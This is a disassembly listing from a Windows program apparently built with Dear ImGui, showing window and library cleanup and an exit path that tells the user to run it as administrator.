dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x140215f00]
test rax, rax
je 0x14004b466
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14004b48a
jmp 0x14004b469
mov rbx, r13
mov r8d, 0xa8
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader__backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
test rax, rax
jne 0x14004b4b0
mov r8d, 0xff5
lea rdx, str.C:UsersYEZDownloadsTHROWOFFTHROWOFForder_90___loader_imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140215f00]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14004b4ca
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140215f00]
mov qword [rdi + 0x80], r13
mov qword [rdi + 0x90], r13
test rax, rax
je 0x14004b4e3
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140215f00]
mov qword [0x140215f00], rbx
call fcn.140006150
mov qword [0x140215f00], r13
test rbx, rbx
je 0x14004b52e
mov rcx, rbx
call fcn.14001f970
mov rax, qword [0x140215f00]
test rax, rax
je 0x14004b525
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [0x140215fc8]
test rcx, rcx
je 0x14004b547
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140215fc8], r13
mov rcx, qword [0x140215fd0]
test rcx, rcx
je 0x14004b560
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140215fd0], r13
mov rcx, qword [0x140215ff8]
test rcx, rcx
je 0x14004b579
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140215ff8], r13
mov rcx, qword [0x140215fd8]
test rcx, rcx
je 0x14004b592
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140215fd8], r13
mov rcx, qword [0x140215f30]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x4e8]
mov rcx, qword [rbp + 0x510]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x630]
call fcn.14004b6b0
movaps xmm13, xmmword [rsp + 0x9d0]
xor eax, eax
movaps xmm12, xmmword [rsp + 0x9e0]
movaps xmm11, xmmword [rsp + 0x9f0]
movaps xmm10, xmmword [rsp + 0xa00]
movaps xmm9, xmmword [rsp + 0xa10]
movaps xmm8, xmmword [rsp + 0xa20]
movaps xmm7, xmmword [rsp + 0xa30]
movaps xmm14, xmmword [rsp + 0x9c0]
lea r11, [rsp + 0xa50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14004b910
mov rdx, qword [rbp + 0x4e8]
mov rcx, qword [rbp + 0x510]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x630]
call fcn.14004b6b0
mov eax, r14d
jmp 0x14004b608
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea r8, str.Coolware_Services
lea rdx, str.Run_As_Administrator
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400026d0
int3
call fcn.1400026d0
int3